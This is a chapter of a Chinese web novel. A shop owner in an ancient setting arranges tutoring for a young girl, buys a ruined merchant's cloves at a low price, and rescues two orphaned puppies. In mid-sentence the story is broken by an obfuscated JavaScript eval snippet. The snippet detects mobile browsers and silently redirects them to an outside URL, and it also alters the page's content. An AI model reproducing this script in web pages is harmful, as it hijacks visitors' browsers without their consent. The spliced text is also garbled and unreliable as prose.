比起刚来酥山小集时的瘦弱畏缩，念慈如今被养得很好，脸上甚至长了不少肉，圆嘟嘟的，跟裴清梧手上的雪媚娘无甚区别。 她正坐在窗边，对着一豆灯光，朗声读着《楚辞》。 相较于《诗经》，《楚辞》更为拗口一点，念慈没有师父教，读得磕磕绊绊，但她依旧专注，水汪汪的大眼睛里，尽是对知识的渴望。 裴清梧不由得停下了脚步。 她想起了自己，现代的自己。 父母离婚后，母亲有段时间不能照顾到自己，只好把她放到乡下外婆家，让外婆帮忙照看。 外婆年事已高，又有隔代亲的原因，管不住裴清梧，所以她不好好读书，每天只知道疯玩。 转折点，在邻居家的小翠姐姐出嫁。 其实她只比裴清梧大十岁，刚刚成年，根本没有到法定的结婚年龄，但那是乡下，没人在乎这些。 小翠姐姐哭哭啼啼的，被人强行套上劣质的婚纱，捧着手捧花，流着仿佛停不下来的眼泪，走向那个给了她父母二十万的男人。 裴清梧静静地站在那里看，忽然就很害怕。 等小翠上了婚车之后，她拔腿转身就跑，不知道跑了多久，一头撞进了村里小学老师的怀里。 她问老师：“女孩子长大之后，一定要嫁人吗？” 老师摇头：“但会很难。” “那……怎么才能容易一点？” “读书，读很多的书，把自己的人生掌握在手里，就不用被逼着嫁人了。” 从那天起，裴清梧就开始认真读书，顺利考上大学，在大三的时候就过了法考，又读了研究生，如果没有那起意外，等她毕业后，至少能找一份养活自己的工作。 念慈比她不幸一点，生在古代，作为一个女孩子，在古代没有那么多选择。 但是，她依旧可以读书，拥有多一点的选择。 其实在那天教她读《氓》的时候，裴清梧就想着，给她请一个专门的师父，可铺子里忙活来忙活去，竟就这么忘了。 “念慈，念慈过来。” 裴清梧这样想着，招手唤念慈过来。 “东家姐姐！”见裴清梧过来，念慈双眼一亮，将书本妥帖收好，啪嗒啪嗒地跑了过来。 “喏，给你的，今天的雪媚娘。” 到底还是小孩子，正是最喜欢甜品的时候，念慈欢天喜地地道了声谢，接过就吃了起来。 裴清梧静静地等她吃完，俯下身子，揉了揉她的头发，柔声问道：“小念慈，读《楚辞》是不是很吃力呀？” “是有点，好多字，我都不认得。” “那，姐姐给念慈找个夫子来，教念慈读书，好不好呀？” 念慈眼睛更亮了：“可、可以吗？” “只要念慈愿意，姐姐必须可以。” 听她这么保证，念慈坚定地点了点头：“我愿意！姐姐，我想读书。” “好，我就知道，我们念慈肯定愿意。” 说着，裴清梧又揉了揉她的脸。 锦娘听闻此事，倒有些忧心忡忡：“东家，请夫子，可得不少束脩呢……您善心，肯收留我们一家人，已是感激不尽，怎好让您如此……” 裴清梧笑道：“无妨，我们念慈是个有志气的，她想读书，我就请夫子，多读些书总归是没错的。” “何况锦娘来我这里之后，也不全是添麻烦，咱们这些人，睡的是你亲手铺的床，穿的是你亲手浆洗的衣物，为你们一家做些什么，也是应当。” 锦娘眼中当即泛起泪花。 “还有一事……”裴清梧见念慈去睡了，才含着捉狭笑意，看向外头院子里，将明义扛在肩头哄睡的石大勇。 明明是个人高马大的糙汉，哄起孩子来，却格外温柔。 “不知什么时候，我们这铺子，能添一桩与生意无关的喜事。” 锦娘听懂了她的弦外之音，当即红了一张脸，嗫嚅道：“东家就会打趣人……” 第二日，裴清梧便让石大勇出去打听，有没有愿意教学生的西席，最好是女子。 此事且按下不表。 傍晚，铺子打烊后的宁静被一位不速之客打破了。 来人正是先前哄抬丁香的胡商赛义德。 不过短短时日，他仿佛换了个人，昔日打理齐整的胡须略显凌乱，身上那件象征身份的锦缎胡服也皱巴了起来，连缠头布的颜色似乎都暗淡了几分。 他局促地站在门口，欲言又止，全然没了当初的精明和倨傲。 “裴东家……”赛义德的声音干涩，带着浓浓的懊悔与窘迫：“请、请宽恕赛义德之前的冒犯。” 裴清梧放下手中账册，抬头看他：“赛老板，何事深夜来访？” “我……唉！”赛义德重重叹了口气，肩膀垮了下来：“实不相瞒，我那批丁香……眼见是要烂在手里了。” “先前是我不地道，受人、受人撺掇……”他含糊地带过了“梁景山”的名字：“如今才知是中了圈套，悔之晚矣！香料行市瞬息万变，那梁……” 他再次顿住，只恳求地望着裴清梧：“恳请东家看在都是生意人的份上，能否将那批丁香收去？价格您看着给，只求莫让我血本无归，还要倒贴那该死的仓廪钱！” 赛义德语气急切，几乎是带着哭腔。 裴清梧沉默片刻。 赛义德囤货居奇固然可恶，但看他此刻落魄狼狈，她心中那点气也散了。 香料本身并无过错，若能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378331|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以极低成本拿下，对酥山小集长远来说，未必不是储备良机。 她心中盘算一下银钱，开口道：“郎君既然坦诚相告，清梧也非落井下石之人，丁香我可以收下，至于价格……便依当日市价的三成，如何？” 这几乎是成本价了。 赛义德眼中瞬间迸发出难以置信来。 三成价，他亏得肉疼，但比起烂在仓库一文不值，已是意外之喜。 嘴唇哆嗦了几下后，他深深一揖：“东家仁义！我铭记于心！” 当下议定细节，赛义德千恩万谢地离去，约定明日便将丁香运来。 裴清梧看着他的背影消失在暮色笼罩的坊街，心中并无多少喜悦，反而升起一丝凝重。 赛义德虽未明说，但那“受人撺掇”指向的是谁，不言而喻。 梁景山的手段，果然阴狠，不仅打压对手，连利用过的棋子也要榨干最后一滴价值。 念慈要读书，就废眼睛，她带着顾恒去买了些决明子来，而后踏着渐起的暮鼓声，一同回去。 华灯初上，坊墙的影子被拉得很长，白日喧嚣褪去，只余下归家的宁静。 裴清梧还在脑中梳理着梁景山可能的后续动作，思索该如何反击这藏于暗处的毒蛇。 就在行至一处僻静巷尾时，一阵极其微弱、断断续续的呜咽声，被晚风送入了耳中。 那声音细若游丝，带着幼兽特有的无助和凄凉。 裴清梧脚步一顿：“阿恒，你听见没有？” 顾恒侧耳倾听：“嗯，听起来……像是小犬的声音？” 二人循着声音，在巷尾堆积的废弃竹筐后小心翼翼地寻找。 拨开几片残破的苇席后，眼前景象令人心头发紧——两只毛茸茸、不过巴掌大小的幼犬，正蜷缩在一只早已僵冷的母犬尸体旁。 母犬身上有明显伤痕，显然遭了意外横死。 两只小犬眼睛还未完全睁开，瘦骨嶙峋，皮毛沾满尘土污秽，正凭着求生本能，用尽全身力气发出微弱到几乎听不见的哀鸣，小脑袋拱着母亲冰冷的身体，徒劳地寻找着早已消失的温暖和乳汁。 真可怜！”裴清梧心头一软，赶紧蹲下身去。 顾恒也立刻上前帮忙。 两只小狗感受到人手的触碰，先是本能地惊惶瑟缩，但指尖传来的暖意和轻柔的动作，让它们呜咽得更委屈了些。 “定是饿了许久，它们的母亲又……”顾恒检查了一下母犬的伤口，眉头紧锁。 “不能放着不管。” 裴清梧毫不犹豫，解下外裳，小心翼翼地将两只冰凉颤抖的小家伙包裹起来，抱进怀里。 它们的身体轻得几乎没有分量，微弱的呼吸喷在皮肤上，带来一阵阵细微的痒和更深的怜惜。 回到铺子后院，茜桃和银岚见他们抱回两只气息奄奄的小奶狗，都吃了一惊。 裴清梧顾不上解释，立刻吩咐：“银岚，快，去热些羊奶来，要温的。茜桃找两个干净的小碟子。” 说着，她抱着小狗，轻轻抚摸着它们冰凉的小身子，试图传递一些热量。 温热的羊奶很快端来。 裴清梧用小指尖蘸了一点，凑到一只小狗紧闭的嘴边。 似乎是闻到了奶香，小家伙本能地伸出粉嫩的小舌头，急切地舔舐起来。 另一只也循着味道，哼哼唧唧地凑了过来。 看着它们贪婪又笨拙地舔食着小碟子里的羊奶，虚弱的小肚子随着吞咽轻微起伏，众人悬着的心才稍稍放下。 “东家姐姐，它们能活下来吗？”循声而来的念慈蹲在旁边，大眼睛里满是担忧。 “能的，有我们用心照料，一定能活下来。” “那……它们叫什么名字呀？”念慈看着两只小狗。 一只毛色偏黄，绒毛蓬松像个球；另一只则是灰黑色夹杂，毛有点乱糟糟的。 裴清梧看着狼吞虎咽的小家伙：“黄绒绒这只，就叫团子吧。旁边这只毛毛乱翘的，就叫‘毛毛’。” “团子！毛毛！”念慈小声叫着，伸手摸了摸它们毛绒绒的小脑袋。